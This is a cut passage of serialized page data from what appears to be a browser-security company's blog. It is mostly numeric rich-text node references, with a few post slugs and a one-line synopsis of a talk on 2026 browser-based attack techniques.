,46454,46460,46463,46469],{"data":46452,"marks":46453,"value":19257,"nodeType":865},{},[],{"data":46455,"content":46456,"nodeType":882},{"uri":19260},[46457],{"data":46458,"marks":46459,"value":19265,"nodeType":865},{},[],{"data":46461,"marks":46462,"value":19269,"nodeType":865},{},[],{"data":46464,"content":46465,"nodeType":882},{"uri":3009},[46466],{"data":46467,"marks":46468,"value":19276,"nodeType":865},{},[],{"data":46470,"marks":46471,"value":19280,"nodeType":865},{},[],{"data":46473,"content":46474,"nodeType":866},{},[46475],{"data":46476,"marks":46477,"value":19287,"nodeType":865},{},[],{"data":46479,"content":46480,"nodeType":1458},{},[46481],{"data":46482,"marks":46483,"value":19295,"nodeType":865},{},[46484],{"type":961},{"data":46486,"content":46487,"nodeType":866},{},[46488,46491,46497],{"data":46489,"marks":46490,"value":19302,"nodeType":865},{},[],{"data":46492,"content":46493,"nodeType":882},{"uri":1384},[46494],{"data":46495,"marks":46496,"value":19309,"nodeType":865},{},[],{"data":46498,"marks":46499,"value":19313,"nodeType":865},{},[],{"data":46501,"content":46502,"nodeType":866},{},[46503],{"data":46504,"marks":46505,"value":19320,"nodeType":865},{},[],{"data":46507,"content":46508,"nodeType":866},{},[46509],{"data":46510,"marks":46511,"value":19327,"nodeType":865},{},[],{"data":46513,"content":46516,"nodeType":925},{"target":46514},{"sys":46515},{"id":19332,"type":922,"linkType":923},[],{"data":46518,"content":46519,"nodeType":866},{},[46520],{"data":46521,"marks":46522,"value":19340,"nodeType":865},{},[],{"data":46524,"content":46525,"nodeType":1458},{},[46526],{"data":46527,"marks":46528,"value":19348,"nodeType":865},{},[46529],{"type":961},{"data":46531,"content":46532,"nodeType":866},{},[46533,46536,46542],{"data":46534,"marks":46535,"value":19355,"nodeType":865},{},[],{"data":46537,"content":46538,"nodeType":882},{"uri":4136},[46539],{"data":46540,"marks":46541,"value":19362,"nodeType":865},{},[],{"data":46543,"marks":46544,"value":19366,"nodeType":865},{},[],{"data":46546,"content":46547,"nodeType":866},{},[46548],{"data":46549,"marks":46550,"value":19373,"nodeType":865},{},[],{"data":46552,"content":46553,"nodeType":866},{},[46554,46557,46564],{"data":46555,"marks":46556,"value":19380,"nodeType":865},{},[],{"data":46558,"content":46559,"nodeType":882},{"uri":4136},[46560],{"data":46561,"marks":46562,"value":19388,"nodeType":865},{},[46563],{"type":997},{"data":46565,"marks":46566,"value":19392,"nodeType":865},{},[],{"data":46568,"content":46569,"nodeType":866},{},[46570],{"data":46571,"marks":46572,"value":19399,"nodeType":865},{},[],{"data":46574,"content":46575,"nodeType":953},{},[],{"data":46577,"content":46578,"nodeType":963},{},[46579],{"data":46580,"marks":46581,"value":19410,"nodeType":865},{},[46582],{"type":961},{"data":46584,"content":46585,"nodeType":866},{},[46586],{"data":46587,"marks":46588,"value":19417,"nodeType":865},{},[],{"data":46590,"content":46591,"nodeType":1049},{},[46592,46610,46628,46646],{"data":46593,"content":46594,"nodeType":1003},{},[46595],{"data":46596,"content":46597,"nodeType":866},{},[46598,46601,46607],{"data":46599,"marks":46600,"value":19430,"nodeType":865},{},[],{"data":46602,"content":46603,"nodeType":882},{"uri":8759},[46604],{"data":46605,"marks":46606,"value":19437,"nodeType":865},{},[],{"data":46608,"marks":46609,"value":19441,"nodeType":865},{},[],{"data":46611,"content":46612,"nodeType":1003},{},[46613],{"data":46614,"content":46615,"nodeType":866},{},[46616,46619,46625],{"data":46617,"marks":46618,"value":19451,"nodeType":865},{},[],{"data":46620,"content":46621,"nodeType":882},{"uri":19454},[46622],{"data":46623,"marks":46624,"value":19459,"nodeType":865},{},[],{"data":46626,"marks":46627,"value":19463,"nodeType":865},{},[],{"data":46629,"content":46630,"nodeType":1003},{},[46631],{"data":46632,"content":46633,"nodeType":866},{},[46634,46637,46643],{"data":46635,"marks":46636,"value":19430,"nodeType":865},{},[],{"data":46638,"content":46639,"nodeType":882},{"uri":11102},[46640],{"data":46641,"marks":46642,"value":19479,"nodeType":865},{},[],{"data":46644,"marks":46645,"value":19483,"nodeType":865},{},[],{"data":46647,"content":46648,"nodeType":1003},{},[46649],{"data":46650,"content":46651,"nodeType":866},{},[46652,46655,46661],{"data":46653,"marks":46654,"value":873,"nodeType":865},{},[],{"data":46656,"content":46657,"nodeType":882},{"uri":19495},[46658],{"data":46659,"marks":46660,"value":3909,"nodeType":865},{},[],{"data":46662,"marks":46663,"value":19503,"nodeType":865},{},[],{"data":46665,"content":46666,"nodeType":866},{},[46667],{"data":46668,"marks":46669,"value":19510,"nodeType":865},{},[],{"data":46671,"content":46672,"nodeType":866},{},[46673,46676,46680],{"data":46674,"marks":46675,"value":19517,"nodeType":865},{},[],{"data":46677,"marks":46678,"value":19522,"nodeType":865},{},[46679],{"type":961},{"data":46681,"marks":46682,"value":19526,"nodeType":865},{},[],{"data":46684,"content":46685,"nodeType":953},{},[],{"data":46687,"content":46688,"nodeType":963},{},[46689,46693,46698,46702,46707],{"data":46690,"marks":46691,"value":19537,"nodeType":865},{},[46692],{"type":961},{"data":46694,"marks":46695,"value":19543,"nodeType":865},{},[46696,46697],{"type":944},{"type":961},{"data":46699,"marks":46700,"value":19548,"nodeType":865},{},[46701],{"type":961},{"data":46703,"marks":46704,"value":19554,"nodeType":865},{},[46705,46706],{"type":944},{"type":961},{"data":46708,"marks":46709,"value":19559,"nodeType":865},{},[46710],{"type":961},{"data":46712,"content":46713,"nodeType":866},{},[46714,46717,46723],{"data":46715,"marks":46716,"value":19566,"nodeType":865},{},[],{"data":46718,"content":46719,"nodeType":882},{"uri":19569},[46720],{"data":46721,"marks":46722,"value":19574,"nodeType":865},{},[],{"data":46724,"marks":46725,"value":19578,"nodeType":865},{},[],{"data":46727,"content":46728,"nodeType":866},{},[46729],{"data":46730,"marks":46731,"value":19585,"nodeType":865},{},[],{"data":46733,"content":46734,"nodeType":866},{},[46735],{"data":46736,"marks":46737,"value":19592,"nodeType":865},{},[],{"data":46739,"content":46740,"nodeType":953},{},[],{"data":46742,"content":46743,"nodeType":963},{},[46744],{"data":46745,"marks":46746,"value":19603,"nodeType":865},{},[46747],{"type":961},{"data":46749,"content":46750,"nodeType":866},{},[46751,46754,46760],{"data":46752,"marks":46753,"value":19610,"nodeType":865},{},[],{"data":46755,"content":46756,"nodeType":882},{"uri":19613},[46757],{"data":46758,"marks":46759,"value":19618,"nodeType":865},{},[],{"data":46761,"marks":46762,"value":19622,"nodeType":865},{},[],{"data":46764,"content":46765,"nodeType":866},{},[46766],{"data":46767,"marks":46768,"value":19629,"nodeType":865},{},[],{"data":46770,"content":46771,"nodeType":866},{},[46772],{"data":46773,"marks":46774,"value":19636,"nodeType":865},{},[],{"data":46776,"content":46777,"nodeType":866},{},[46778,46781,46787],{"data":46779,"marks":46780,"value":19643,"nodeType":865},{},[],{"data":46782,"content":46783,"nodeType":882},{"uri":19646},[46784],{"data":46785,"marks":46786,"value":19618,"nodeType":865},{},[],{"data":46788,"marks":46789,"value":1048,"nodeType":865},{},[],{"data":46791,"content":46792,"nodeType":953},{},[],{"data":46794,"content":46795,"nodeType":963},{},[46796],{"data":46797,"marks":46798,"value":19664,"nodeType":865},{},[46799],{"type":961},{"data":46801,"content":46802,"nodeType":866},{},[46803],{"data":46804,"marks":46805,"value":19671,"nodeType":865},{},[],{"data":46807,"content":46808,"nodeType":1049},{},[46809,46818,46827],{"data":46810,"content":46811,"nodeType":1003},{},[46812],{"data":46813,"content":46814,"nodeType":866},{},[46815],{"data":46816,"marks":46817,"value":19684,"nodeType":865},{},[],{"data":46819,"content":46820,"nodeType":1003},{},[46821],{"data":46822,"content":46823,"nodeType":866},{},[46824],{"data":46825,"marks":46826,"value":19694,"nodeType":865},{},[],{"data":46828,"content":46829,"nodeType":1003},{},[46830],{"data":46831,"content":46832,"nodeType":866},{},[46833],{"data":46834,"marks":46835,"value":19704,"nodeType":865},{},[],{"data":46837,"content":46838,"nodeType":866},{},[46839],{"data":46840,"marks":46841,"value":19711,"nodeType":865},{},[],{"data":46843,"content":46844,"nodeType":866},{},[46845,46848,46854],{"data":46846,"marks":46847,"value":19718,"nodeType":865},{},[],{"data":46849,"content":46850,"nodeType":882},{"uri":18999},[46851],{"data":46852,"marks":46853,"value":19725,"nodeType":865},{},[],{"data":46855,"marks":46856,"value":1048,"nodeType":865},{},[],{"data":46858,"content":46859,"nodeType":866},{},[46860,46863,46869],{"data":46861,"marks":46862,"value":19735,"nodeType":865},{},[],{"data":46864,"content":46865,"nodeType":882},{"uri":5636},[46866],{"data":46867,"marks":46868,"value":19742,"nodeType":865},{},[],{"data":46870,"marks":46871,"value":19746,"nodeType":865},{},[],{"data":46873,"content":46876,"nodeType":925},{"target":46874},{"sys":46875},{"id":19751,"type":922,"linkType":923},[],{"data":46878,"content":46879,"nodeType":953},{},[],{"data":46881,"content":46882,"nodeType":866},{},[46883],{"data":46884,"marks":46885,"value":19762,"nodeType":865},{},[],{"data":46887,"content":46888,"nodeType":866},{},[46889,46892,46898],{"data":46890,"marks":46891,"value":1725,"nodeType":865},{},[],{"data":46893,"content":46894,"nodeType":882},{"uri":1728},[46895],{"data":46896,"marks":46897,"value":1734,"nodeType":865},{},[],{"data":46899,"marks":46900,"value":1738,"nodeType":865},{},[],{"items":46902},[46903,46905],{"sys":46904,"name":11426},{"id":11425},{"sys":46906,"name":342},{"id":8410},{"items":46908},[46909],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":46910},{"url":11434},{"__typename":1788,"sys":46912,"content":46913,"title":40383,"synopsis":40384,"hashTags":59,"publishedDate":19780,"slug":40385,"tagsCollection":47734,"authorsCollection":47740},{"id":39422},{"json":46914},{"data":46915,"content":46916,"nodeType":1739},{},[46917,46939,46963,46996,47029,47034,47044,47047,47054,47096,47102,47121,47126,47129,47136,47160,47166,47173,47178,47181,47188,47194,47209,47215,47248,47254,47257,47264,47279,47321,47324,47331,47346,47361,47368,47374,47384,47394,47404,47414,47429,47436,47442,47445,47451,47457,47472,47475,47482,47497,47728],{"data":46918,"content":46919,"nodeType":866},{},[46920,46923,46929,46932,46936],{"data":46921,"marks":46922,"value":39433,"nodeType":865},{},[],{"data":46924,"content":46925,"nodeType":882},{"uri":8759},[46926],{"data":46927,"marks":46928,"value":19437,"nodeType":865},{},[],{"data":46930,"marks":46931,"value":39443,"nodeType":865},{},[],{"data":46933,"marks":46934,"value":39448,"nodeType":865},{},[46935],{"type":961},{"data":46937,"marks":46938,"value":39452,"nodeType":865},{},[],{"data":46940,"content":46941,"nodeType":866},{},[46942,46945,46951,46954,46960],{"data":46943,"marks":46944,"value":39459,"nodeType":865},{},[],{"data":46946,"content":46947,"nodeType":882},{"uri":39462},[46948],{"data":46949,"marks":46950,"value":39467,"nodeType":865},{},[],{"data":46952,"marks":46953,"value":39471,"nodeType":865},{},[],{"data":46955,"content":46956,"nodeType":882},{"uri":39474},[46957],{"data":46958,"marks":46959,"value":39479,"nodeType":865},{},[],{"data":46961,"marks":46962,"value":39483,"nodeType":865},{},[],{"data":46964,"content":46965,"nodeType":866},{},[46966,46969,46975,46978,46984,46987,46993],{"data":46967,"marks":46968,"value":39490,"nodeType":865},{},[],{"data":46970,"content":46971,"nodeType":882},{"uri":39493},[46972],{"data":46973,"marks":46974,"value":39498,"nodeType":865},{},[],{"data":46976,"marks":46977,"value":39502,"nodeType":865},{},[],{"data":46979,"content":46980,"nodeType":882},{"uri":39505},[46981],{"data":46982,"marks":46983,"value":39510,"nodeType":865},{},[],{"data":46985,"marks":46986,"value":39514,"nodeType":865},{},[],{"data":46988,"content":46989,"nodeType":882},{"uri":39517},[46990],{"data":46991,"marks":46992,"value":39522,"nodeType":865},{},[],{"data":46994,"marks":46995,"value":39526,"nodeType":865},{},[],{"data":46997,"content":46998,"nodeType":866},{},[46999,47002,47008,47011,47017,47020,47026],{"data":47000,"marks":47001,"value":39533,"nodeType":865},{},[],{"data":47003,"content":47004,"nodeType":882},{"uri":39536},[47005],{"data":47006,"marks":47007,"value":39541,"nodeType":865},{},[],{"data":47009,"marks":47010,"value":39545,"nodeType":865},{},[],{"data":47012,"content":47013,"nodeType":882},{"uri":39548},[47014],{"data":47015,"marks":47016,"value":39553,"nodeType":865},{},[],{"data":47018,"marks":47019,"value":39557,"nodeType":865},{},[],{"data":47021,"content":47022,"nodeType":882},{"uri":39560},[47023],{"data":47024,"marks":47025,"value":39565,"nodeType":865},{},[],{"data":47027,"marks":47028,"value":39569,"nodeType":865},{},[],{"data":47030,"content":47033,"nodeType":925},{"target":47031},{"sys":47032},{"id":39574,"type":922,"linkType":923},[],{"data":47035,"content":47036,"nodeType":866},{},[47037,47041],{"data":47038,"marks":47039,"value":39583,"nodeType":865},{},[47040],{"type":961},{"data":47042,"marks":47043,"value":39587,"nodeType":865},{},[],{"data":47045,"content":47046,"nodeType":953},{},[],{"data":47048,"content":47049,"nodeType":963},{},[47050],{"data":47051,"marks":47052,"value":39598,"nodeType":865},{},[47053],{"type":961},{"data":47055,"content":47056,"nodeType":866},{},[47057,47060,47066,47069,47075,47078,47084,47087,47093],{"data":47058,"marks":47059,"value":39605,"nodeType":865},{},[],{"data":47061,"content":47062,"nodeType":882},{"uri":24060},[47063],{"data":47064,"marks":47065,"value":39612,"nodeType":865},{},[],{"data":47067,"marks":47068,"value":26083,"nodeType":865},{},[],{"data":47070,"content":47071,"nodeType":882},{"uri":39618},[47072],{"data":47073,"marks":47074,"value":39623,"nodeType":865},{},[],{"data":47076,"marks":47077,"value":38646,"nodeType":865},{},[],{"data":47079,"content":47080,"nodeType":882},{"uri":39505},[47081],{"data":47082,"marks":47083,"value":39633,"nodeType":865},{},[],{"data":47085,"marks":47086,"value":39637,"nodeType":865},{},[],{"data":47088,"content":47089,"nodeType":882},{"uri":12335},[47090],{"data":47091,"marks":47092,"value":39644,"nodeType":865},{},[],{"data":47094,"marks":47095,"value":1048,"nodeType":865},{},[],{"data":47097,"content":47098,"nodeType":866},{},[47099],{"data":47100,"marks":47101,"value":39654,"nodeType":865},{},[],{"data":47103,"content":47104,"nodeType":866},{},[47105,47108,47114,47117],{"data":47106,"marks":47107,"value":39661,"nodeType":865},{},[],{"data":47109,"content":47110,"nodeType":882},{"uri":12335},[47111],{"data":47112,"marks":47113,"value":39668,"nodeType":865},{},[],{"data":47115,"marks":47116,"value":39672,"nodeType":865},{},[],{"data":47118,"marks":47119,"value":39677,"nodeType":865},{},[47120],{"type":961},{"data":47122,"content":47125,"nodeType":925},{"target":47123},{"sys":47124},{"id":39682,"type":922,"linkType":923},[],{"data":47127,"content":47128,"nodeType":953},{},[],{"data":47130,"content":47131,"nodeType":963},{},[47132],{"data":47133,"marks":47134,"value":39694,"nodeType":865},{},[47135],{"type":961},{"data":47137,"content":47138,"nodeType":866},{},[47139,47142,47148,47151,47157],{"data":47140,"marks":47141,"value":873,"nodeType":865},{},[],{"data":47143,"content":47144,"nodeType":882},{"uri":19454},[47145],{"data":47146,"marks":47147,"value":39707,"nodeType":865},{},[],{"data":47149,"marks":47150,"value":39711,"nodeType":865},{},[],{"data":47152,"content":47153,"nodeType":882},{"uri":39517},[47154],{"data":47155,"marks":47156,"value":39718,"nodeType":865},{},[],{"data":47158,"marks":47159,"value":39722,"nodeType":865},{},[],{"data":47161,"content":47162,"nodeType":866},{},[47163],{"data":47164,"marks":47165,"value":39729,"nodeType":865},{},[],{"data":47167,"content":47168,"nodeType":866},{},[47169],{"data":47170,"marks":47171,"value":39737,"nodeType":865},{},[47172],{"type":961},{"data":47174,"content":47177,"nodeType":925},{"target":47175},{"sys":47176},{"id":39742,"type":922,"linkType":923},[],{"data":47179,"content":47180,"nodeType":953},{},[],{"data":47182,"content":47183,"nodeType":963},{},[47184],{"data":47185,"marks":47186,"value":39754,"nodeType":865},{},[47187],{"type":961},{"data":47189,"content":47190,"nodeType":866},{},[47191],{"data":47192,"marks":47193,"value":39761,"nodeType":865},{},[],{"data":47195,"content":47196,"nodeType":866},{},[47197,47200,47206],{"data":47198,"marks":47199,"value":873,"nodeType":865},{},[],{"data":47201,"content":47202,"nodeType":882},{"uri":39770},[47203],{"data":47204,"marks":47205,"value":39775,"nodeType":865},{},[],{"data":47207,"marks":47208,"value":39779,"nodeType":865},{},[],{"data":47210,"content":47211,"nodeType":866},{},[47212],{"data":47213,"marks":47214,"value":39786,"nodeType":865},{},[],{"data":47216,"content":47217,"nodeType":866},{},[47218,47221,47227,47230,47236,47239,47245],{"data":47219,"marks":47220,"value":39793,"nodeType":865},{},[],{"data":47222,"content":47223,"nodeType":882},{"uri":39796},[47224],{"data":47225,"marks":47226,"value":39801,"nodeType":865},{},[],{"data":47228,"marks":47229,"value":39805,"nodeType":865},{},[],{"data":47231,"content":47232,"nodeType":882},{"uri":39808},[47233],{"data":47234,"marks":47235,"value":39813,"nodeType":865},{},[],{"data":47237,"marks":47238,"value":39817,"nodeType":865},{},[],{"data":47240,"content":47241,"nodeType":882},{"uri":3288},[47242],{"data":47243,"marks":47244,"value":39824,"nodeType":865},{},[],{"data":47246,"marks":47247,"value":39828,"nodeType":865},{},[],{"data":47249,"content":47250,"nodeType":866},{},[47251],{"data":47252,"marks":47253,"value":39835,"nodeType":865},{},[],{"data":47255,"content":47256,"nodeType":953},{},[],{"data":47258,"content":47259,"nodeType":963},{},[47260],{"data":47261,"marks":47262,"value":39846,"nodeType":865},{},[47263],{"type":961},{"data":47265,"content":47266,"nodeType":866},{},[47267,47270,47276],{"data":47268,"marks":47269,"value":39853,"nodeType":865},{},[],{"data":47271,"content":47272,"nodeType":882},{"uri":39856},[47273],{"data":47274,"marks":47275,"value":39861,"nodeType":865},{},[],{"data":47277,"marks":47278,"value":39865,"nodeType":865},{},[],{"data":47280,"content":47281,"nodeType":866},{},[47282,47285,47291,47294,47300,47303,47309,47312,47318],{"data":47283,"marks":47284,"value":39872,"nodeType":865},{},[],{"data":47286,"content":47287,"nodeType":882},{"uri":39875},[47288],{"data":47289,"marks":47290,"value":39880,"nodeType":865},{},[],{"data":47292,"marks":47293,"value":39884,"nodeType":865},{},[],{"data":47295,"content":47296,"nodeType":882},{"uri":39887},[47297],{"data":47298,"marks":47299,"value":39892,"nodeType":865},{},[],{"data":47301,"marks":47302,"value":39896,"nodeType":865},{},[],{"data":47304,"content":47305,"nodeType":882},{"uri":39899},[47306],{"data":47307,"marks":47308,"value":39904,"nodeType":865},{},[],{"data":47310,"marks":47311,"value":39908,"nodeType":865},{},[],{"data":47313,"content":47314,"nodeType":882},{"uri":39911},[47315],{"data":47316,"marks":47317,"value":39916,"nodeType":865},{},[],{"data":47319,"marks":47320,"value":39920,"nodeType":865},{},[],{"data":47322,"content":47323,"nodeType":953},{},[],{"data":47325,"content":47326,"nodeType":963},{},[47327],{"data":47328,"marks":47329,"value":39931,"nodeType":865},{},[47330],{"type":961},{"data":47332,"content":47333,"nodeType":866},{},[47334,47337,47343],{"data":47335,"marks":47336,"value":39938,"nodeType":865},{},[],{"data":47338,"content":47339,"nodeType":882},{"uri":1384},[47340],{"data":47341,"marks":47342,"value":39945,"nodeType":865},{},[],{"data":47344,"marks":47345,"value":39949,"nodeType":865},{},[],{"data":47347,"content":47348,"nodeType":866},{},[47349,47352,47358],{"data":47350,"marks":47351,"value":39956,"nodeType":865},{},[],{"data":47353,"content":47354,"nodeType":882},{"uri":39959},[47355],{"data":47356,"marks":47357,"value":315,"nodeType":865},{},[],{"data":47359,"marks":47360,"value":39967,"nodeType":865},{},[],{"data":47362,"content":47363,"nodeType":1458},{},[47364],{"data":47365,"marks":47366,"value":3604,"nodeType":865},{},[47367],{"type":961},{"data":47369,"content":47370,"nodeType":866},{},[47371],{"data":47372,"marks":47373,"value":39981,"nodeType":865},{},[],{"data":47375,"content":47376,"nodeType":866},{},[47377,47381],{"data":47378,"marks":47379,"value":39989,"nodeType":865},{},[47380],{"type":961},{"data":47382,"marks":47383,"value":39993,"nodeType":865},{},[],{"data":47385,"content":47386,"nodeType":866},{},[47387,47391],{"data":47388,"marks":47389,"value":40001,"nodeType":865},{},[47390],{"type":961},{"data":47392,"marks":47393,"value":40005,"nodeType":865},{},[],{"data":47395,"content":47396,"nodeType":866},{},[47397,47401],{"data":47398,"marks":47399,"value":40013,"nodeType":865},{},[47400],{"type":961},{"data":47402,"marks":47403,"value":40017,"nodeType":865},{},[],{"data":47405,"content":47406,"nodeType":866},{},[47407,47411],{"data":47408,"marks":47409,"value":40025,"nodeType":865},{},[47410],{"type":961},{"data":47412,"marks":47413,"value":40029,"nodeType":865},{},[],{"data":47415,"content":47416,"nodeType":866},{},[47417,47420,47426],{"data":47418,"marks":47419,"value":21,"nodeType":865},{},[],{"data":47421,"content":47422,"nodeType":882},{"uri":5481},[47423],{"data":47424,"marks":47425,"value":40042,"nodeType":865},{},[],{"data":47427,"marks":47428,"value":21,"nodeType":865},{},[],{"data":47430,"content":47431,"nodeType":1458},{},[47432],{"data":47433,"marks":47434,"value":40053,"nodeType":865},{},[47435],{"type":961},{"data":47437,"content":47438,"nodeType":866},{},[47439],{"data":47440,"marks":47441,"value":40060,"nodeType":865},{},[],{"data":47443,"content":47444,"nodeType":953},{},[],{"data":47446,"content":47447,"nodeType":866},{},[47448],{"data":47449,"marks":47450,"value":5006,"nodeType":865},{},[],{"data":47452,"content":47453,"nodeType":866},{},[47454],{"data":47455,"marks":47456,"value":1718,"nodeType":865},{},[],{"data":47458,"content":47459,"nodeType":866},{},[47460,47463,47469],{"data":47461,"marks":47462,"value":21,"nodeType":865},{},[],{"data":47464,"content":47465,"nodeType":882},{"uri":13728},[47466],{"data":47467,"marks":47468,"value":2812,"nodeType":865},{},[],{"data":47470,"marks":47471,"value":21,"nodeType":865},{},[],{"data":47473,"content":47474,"nodeType":953},{},[],{"data":47476,"content":47477,"nodeType":963},{},[47478],{"data":47479,"marks":47480,"value":40101,"nodeType":865},{},[47481],{"type":961},{"data":47483,"content":47484,"nodeType":866},{},[47485,47488,47494],{"data":47486,"marks":47487,"value":40108,"nodeType":865},{},[],{"data":47489,"content":47490,"nodeType":882},{"uri":8759},[47491],{"data":47492,"marks":47493,"value":40115,"nodeType":865},{},[],{"data":47495,"marks":47496,"value":40119,"nodeType":865},{},[],{"data":47498,"content":47499,"nodeType":2396},{},[47500,47543,47599,47642,47685],{"data":47501,"content":47502,"nodeType":1869},{},[47503,47513,47523,47533],{"data":47504,"content":47505,"nodeType":1835},{},[47506],{"data":47507,"content":47508,"nodeType":866},{},[47509],{"data":47510,"marks":47511,"value":40136,"nodeType":865},{},[47512],{"type":961},{"data":47514,"content":47515,"nodeType":1835},{},[47516],{"data":47517,"content":47518,"nodeType":866},{},[47519],{"data":47520,"marks":47521,"value":40147,"nodeType":865},{},[47522],{"type":961},{"data":47524,"content":47525,"nodeType":1835},{},[47526],{"data":47527,"content":47528,"nodeType":866},{},[47529],{"data":47530,"marks":47531,"value":40158,"nodeType":865},{},[47532],{"type":961},{"data":47534,"content":47535,"nodeType":1835},{},[47536],{"data":47537,"content":47538,"nodeType":866},{},[47539],{"data":47540,"marks":47541,"value":40169,"nodeType":865},{},[47542],{"type":961},{"data":47544,"content":47545,"nodeType":1869},{},[47546,47566,47575,47584],{"data":47547,"content":47548,"nodeType":1835},{},[47549],{"data":47550,"content":47551,"nodeType":866},{},[47552,47556,47559,47563],{"data":47553,"marks":47554,"value":40183,"nodeType":865},{},[47555],{"type":961},{"data":47557,"marks":47558,"value":40187,"nodeType":865},{},[],{"data":47560,"marks":47561,"value":40192,"nodeType":865},{},[47562],{"type":961},{"data":47564,"marks":47565,"value":40196,"nodeType":865},{},[],{"data":47567,"content":47568,"nodeType":1835},{},[47569],{"data":47570,"content":47571,"nodeType":866},{},[47572],{"data":47573,"marks":47574,"value":40206,"nodeType":865},{},[],{"data":47576,"content":47577,"nodeType":1835},{},[47578],{"data":47579,"content":47580,"nodeType":866},{},[47581],{"data":47582,"marks":47583,"value":40216,"nodeType":865},{},[],{"data":47585,"content":47586,"nodeType":1835},{},[47587,47593],{"data":47588,"content":47589,"nodeType":866},{},[47590],{"data":47591,"marks":47592,"value":40226,"nodeType":865},{},[],{"data":47594,"content":47595,"nodeType":866},{},[47596],{"data":47597,"marks":47598,"value":40233,"nodeType":865},{},[],{"data":47600,"content":47601,"nodeType":1869},{},[47602,47615,47624,47633],{"data":47603,"content":47604,"nodeType":1835},{},[47605],{"data":47606,"content":47607,"nodeType":866},{},[47608,47612],{"data":47609,"marks":47610,"value":40247,"nodeType":865},{},[47611],{"type":961},{"data":47613,"marks":47614,"value":40251,"nodeType":865},{},[],{"data":47616,"content":47617,"nodeType":1835},{},[47618],{"data":47619,"content":47620,"nodeType":866},{},[47621],{"data":47622,"marks":47623,"value":40261,"nodeType":865},{},[],{"data":47625,"content":47626,"nodeType":1835},{},[47627],{"data":47628,"content":47629,"nodeType":866},{},[47630],{"data":47631,"marks":47632,"value":40271,"nodeType":865},{},[],{"data":47634,"content":47635,"nodeType":1835},{},[47636],{"data":47637,"content":47638,"nodeType":866},{},[47639],{"data":47640,"marks":47641,"value":40281,"nodeType":865},{},[],{"data":47643,"content":47644,"nodeType":1869},{},[47645,47658,47667,47676],{"data":47646,"content":47647,"nodeType":1835},{},[47648],{"data":47649,"content":47650,"nodeType":866},{},[47651,47655],{"data":47652,"marks":47653,"value":40295,"nodeType":865},{},[47654],{"type":961},{"data":47656,"marks":47657,"value":40299,"nodeType":865},{},[],{"data":47659,"content":47660,"nodeType":1835},{},[47661],{"data":47662,"content":47663,"nodeType":866},{},[47664],{"data":47665,"marks":47666,"value":40309,"nodeType":865},{},[],{"data":47668,"content":47669,"nodeType":1835},{},[47670],{"data":47671,"content":47672,"nodeType":866},{},[47673],{"data":47674,"marks":47675,"value":40319,"nodeType":865},{},[],{"data":47677,"content":47678,"nodeType":1835},{},[47679],{"data":47680,"content":47681,"nodeType":866},{},[47682],{"data":47683,"marks":47684,"value":40329,"nodeType":865},{},[],{"data":47686,"content":47687,"nodeType":1869},{},[47688,47701,47710,47719],{"data":47689,"content":47690,"nodeType":1835},{},[47691],{"data":47692,"content":47693,"nodeType":866},{},[47694,47698],{"data":47695,"marks":47696,"value":40343,"nodeType":865},{},[47697],{"type":961},{"data":47699,"marks":47700,"value":40347,"nodeType":865},{},[],{"data":47702,"content":47703,"nodeType":1835},{},[47704],{"data":47705,"content":47706,"nodeType":866},{},[47707],{"data":47708,"marks":47709,"value":40206,"nodeType":865},{},[],{"data":47711,"content":47712,"nodeType":1835},{},[47713],{"data":47714,"content":47715,"nodeType":866},{},[47716],{"data":47717,"marks":47718,"value":40366,"nodeType":865},{},[],{"data":47720,"content":47721,"nodeType":1835},{},[47722],{"data":47723,"content":47724,"nodeType":866},{},[47725],{"data":47726,"marks":47727,"value":40376,"nodeType":865},{},[],{"data":47729,"content":47730,"nodeType":866},{},[47731],{"data":47732,"marks":47733,"value":21,"nodeType":865},{},[],{"items":47735},[47736,47738],{"sys":47737,"name":11426},{"id":11425},{"sys":47739,"name":342},{"id":8410},{"items":47741},[47742],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":47743},{"url":11434},"blog/7-things-we-learned-from-john-hammond",{"json":47746},{"data":47747,"content":47748,"nodeType":1739},{},[47749],{"data":47750,"content":47751,"nodeType":866},{},[47752],{"data":47753,"marks":47754,"value":47755,"nodeType":865},{},[],"Luke Jennings (Push VP of Research) and John Hammond (Senior Principal Security Researcher, Huntress) walked through the browser-based attack techniques defining the 2026 threat landscape.",{"id":38108,"publishedAt":47757},"2026-08-12T12:00:57.289Z",{"items":47759},[47760,47762],{"sys":47761,"name":11426},{"id":11425},{"sys":47763,"name":297},{"id":2828},{"items":47765},[47766,47768,47770,47772,47774,47776,47778,47780,47782,47784,47786,47788,47790,47792,47794,47796,47798,47800,47802,47804,47806,47808],{"sys":47767,"name":279,"slug":280,"tier":31},{"id":276},{"sys":47769,"name":519,"slug":520,"tier":31},{"id":516},{"sys":47771,"name":413,"slug":414,"tier":31},{"id":410},{"sys":47773,"name":297,"slug":298,"tier":31},{"id":294},{"sys":47775,"name":342,"slug":343,"tier":31},{"id":339},{"sys":47777,"name":235,"slug":236,"tier":31},{"id":232},{"sys":47779,"name":261,"slug":262,"tier":45},{"id":258},{"sys":47781,"name":315,"slug":316,"tier":45},{"id":312},{"sys":47783,"name":360,"slug":361,"tier":45},{"id":357},{"sys":47785,"name":484,"slug":485,"tier":45},{"id":481},{"sys":47787,"name":475,"slug":476,"tier":45},{"id":472},{"sys":47789,"name":511,"slug":512,"tier":45},{"id":508},{"sys":47791,"name":324,"slug":325,"tier":45},{"id":321},{"sys":47793,"name":571,"slug":572,"tier":45},{"id":568},{"sys":47795,"name":466,"slug":467,"tier":45},{"id":463},{"sys":47797,"name":440,"slug":441,"tier":45},{"id":437},{"sys":47799,"name":607,"slug":608,"tier":45},{"id":604},{"sys":47801,"name":377,"slug":378,"tier":45},{"id":374},{"sys":47803,"name":431,"slug":432,"tier":45},{"id":428},{"sys":47805,"name":448,"slug":449,"tier":45},{"id":445},{"sys":47807,"name":493,"slug":494,"tier":45},{"id":490},{"sys":47809,"name":244,"slug":245,"tier":45},{"id":241},"q4U5IPhRMZseIs6ceVJ_ZzUpucxUy-2TaBbYB9CbBVE",{"id":47812,"title":35522,"authorsCollection":47813,"content":47818,"extension":228,"faqItemsCollection":48363,"faqTitle":59,"featured":6,"hashTags":59,"meta":48365,"metaTitle":48366,"ogImage":59,"postType":1783,"publishedDate":35524,"relatedBlogPostsCollection":48367,"slug":35525,"stem":50843,"subtitle":59,"summary":50844,"synopsis":35523,"sys":50854,"tagsCollection":50856,"topicsCollection":50862,"__hash__":50904},"blog/blog/the-case-for-best-of-breed-browser-security.json",{"items":47814},[47815],{"fullName":5029,"firstName":5030,"jobTitle":3776